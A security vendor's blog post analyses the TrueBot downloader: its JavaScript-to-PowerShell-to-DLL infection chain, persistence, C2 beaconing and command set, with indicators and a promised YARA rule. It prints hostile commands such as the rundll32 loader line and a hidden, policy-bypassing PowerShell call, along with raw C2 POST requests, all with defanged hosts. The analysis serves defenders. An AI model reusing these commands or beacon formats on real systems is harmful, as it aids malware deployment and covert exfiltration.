After recent online publications regarding the TrueBot malware (VMware, Bleeping and THN), we have decided to contributing with our analysis of this potential new threat. At the end, you will find the indicators of compromise and a Yara rule to identify it.
Before starting with the technical analysis of the malware, we believe it is useful to highlight some of its features:
It is a downloader type malware, used in the early stages of compromise.
It has used the Raspberry Robin worm as an attack vector.
It has been associated with at least two different Ransomware (Cl0p and EvilCorp).
It is the evolution of the Silent.Dropper malware.
It is a tool used by the criminal actor known as Silence.
The following is the general scheme of compromise:
For more information on how to defend yourself: fortgale.com
Technical analysis
Stage 1 – JavaScript
Our analysis begins with the identification of a JavaScript file, presumably inserted as an attachment to a malicious email. From intelligence activities, it was possible to recover the file named information_7_apr-4753978.js. The content of the script is obfuscated, in order to make analysis activities more complex:
After a deep cleaning of the code, the only noteworthy command emerges as:
The content, encoded in Base64, is represented here in its de-obfuscated form:
It is a PowerShell command that executes the file “dll.png“, fetched from the address 62[.]204[.]41[.]69. The format of the file does not appear to be an image type (PNG) or attributable to a dll. In reality, it is a PowerShell script encoded inside a text file:
Stage2 – DLL
The script, once executed, starts the download of a dynamic library (ldn.dll) from the address 62[.]204[.]41[.]69 and saves it in the path $env:APPDATA\ with name NoSleep.dll.
This is then loaded into memory via the command
cmd /c rundll32 %APPDATA%\NoSleep.dll,ChkdskExs
Stage3 – C&C
The library NoSleep.dll, signed with a Sectigo certificate, is none other than the TrueBot malware:
Thanks to reverse engineering and dynamic analysis, it was possible to reconstruct its entire behavior.
The first identified activities are related to assigning a unique identifier to the infected machine. This is achieved by creating the file C:\ProgramData\<GUI>.JSONIP and a mutex with the name (u3qkfewi3ujrk32lqpti32ofwq)
Subsequently, the malware proceeds to create two scheduled tasks to ensure persistence in the system:
At this point, a list of executables associated with active processes is created, excluding system services.
Finally, this list is sent in URLEncode + Base64 format to the Command and Control server via a POST to the URL hxxp://droogggdhfhf[.]com/gate.php.
POST /gate.php HTTP/1.0
Host: droogggdhfhf.com
Content-type: application/x-www-form-urlencoded
Content-length: 778
q=biUzZDdiNTMwMzRjLTdiNTI3ZTAwJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJTI2bCUzZE9mZmljZUNsaWNrVG9SdW4uZXhlJTdjZXhwbG9yZXIuZXhlJTdjU2VhcmNoSW5kZXhlci5leGUlN2NTZWN1cml0eUhlYWx0aFN5c3RyYXkuZXhlJTdjVkJveFRyYXkuZXhlJTdjamF2YXcuZXhlJTdjU2dybUJyb2tlci5leGUlN2NwZXN0dWRpby5leGUlN2NkZWNvbXBpbGUuZXhlJTdjQXBwbGljYXRpb25GcmFtZUhvc3QuZXhlJTdjV2luZG93c1Rlcm1pbmFsLmV4ZSU3Y09wZW5Db25zb2xlLmV4ZSU3Y3Bvd2Vyc2hlbGwuZXhlJTdjeDY0ZGJnLmV4ZSU3Y21zZWRnZS5leGUlN2Ntc2VkZ2UuZXhlJTdjbXNlZGdlLmV4ZSU3Y21zZWRnZS5leGUlN2Ntc2VkZ2UuZXhlJTdjbXNlZGdlLmV4ZSU3Y21zZWRnZS5leGUlN2NNb1Vzb0NvcmVXb3JrZXIuZXhlJTdjc21hcnRzY3JlZW4uZXhlJTdjZGFzSG9zdC5leGUlN2NzcHBzdmMuZXhlJTdjV21pUHJ2U0UuZXhlJTdjZmFrZW5ldC5leGUlN2NmYWtlbmV0LmV4ZSU3Y1dtaUFwU3J2LmV4ZSU3Y1dtaVBydlNFLmV4ZSU3Y1dtaVBydlNFLmV4ZSU3Yw==
At each iteration of the task, general information relating to the infected system is forwarded to the server, also signaling the availability to receive further instructions to process.
POST /gate.php HTTP/1.0
Host: droogggdhfhf.com
Content-type: application/x-www-form-urlencoded
Content-length: 180
biUzZDdiNTMwMzRjLTdiNTI3ZTAwJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJWFiJTI2byUzZFdJTjEwJTI2YSUzZDY0JTI2dSUzZFdPUktHUk9VUCUyNnAlM2RERVNLVE9QLTE3MjE2MFMlMjZkJTNk
Capability Analysis
The main purpose of the malware is to send information about active processes in the system to the C2 server and execute the commands returned by the server.
When compared to other malware of the same type, the set of operations that TrueBot can perform is extremely limited:
Command
Effect
KLLS
Delete DLL and end process.
404NO
Empty command.
http
Not identified. Parses values separated by “|” o “/”.
PS1
Download a PowerShell script with path C:\ProgramData\<GUID>.ps1 and executes it via the command wmic.exe process call create \”powershell -executionpolicy bypass -nop -w hidden <file ps1>\”.
SHC
Download and execute a shellcode, injecting it into a new process cmd.exe.
S64
Download and execute a shellcode, injecting it into a new process cmd.exe.
Riepilogo
TrueBot is a downloader malware, and as such it is mainly used by an operator to convey other malicious software (e.g. CobaltStrike).
It is clear that it was designed to complete generic tasks. In fact, there are no advanced commands usually used by an attacker to carry out advanced compromise activities.
YARA Rule
Our malware analysis team has developed the following Yara rule:
Questo sito utilizza cookie tecnici e «di terze parti» necessari per il funzionamento e la navigazione dello stesso.
Inoltre questo sito raccoglie dati statistici sulla navigazione, mediante cookie installati da terze parti autorizzate e a norma di legge.
Per saperne di più ti invitiamo a consultare la nostra cookie policy.
This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
Functional cookies help to perform certain functionalities like sharing the content of the website on social media platforms, collect feedbacks, and other third-party features.
Performance cookies are used to understand and analyze the key performance indexes of the website which helps in delivering a better user experience for the visitors.
Analytical cookies are used to understand how visitors interact with the website. These cookies help provide information on metrics the number of visitors, bounce rate, traffic source, etc.
Cookie
Duration
Description
CONSENT
2 years
YouTube sets this cookie via embedded youtube-videos and registers anonymous statistical data.
Advertisement cookies are used to provide visitors with relevant ads and marketing campaigns. These cookies track visitors across websites and collect information to provide customized ads.
Cookie
Duration
Description
VISITOR_INFO1_LIVE
5 months 27 days
A cookie set by YouTube to measure bandwidth that determines whether the user gets the new or old player interface.
YSC
session
YSC cookie is set by Youtube and is used to track the views of embedded videos on Youtube pages.
yt-remote-connected-devices
never
YouTube sets this cookie to store the video preferences of the user using embedded YouTube video.
yt-remote-device-id
never
YouTube sets this cookie to store the video preferences of the user using embedded YouTube video.
yt.innertube::nextId
never
This cookie, set by YouTube, registers a unique ID to store data on what videos from YouTube the user has seen.
yt.innertube::requests
never
This cookie, set by YouTube, registers a unique ID to store data on what videos from YouTube the user has seen.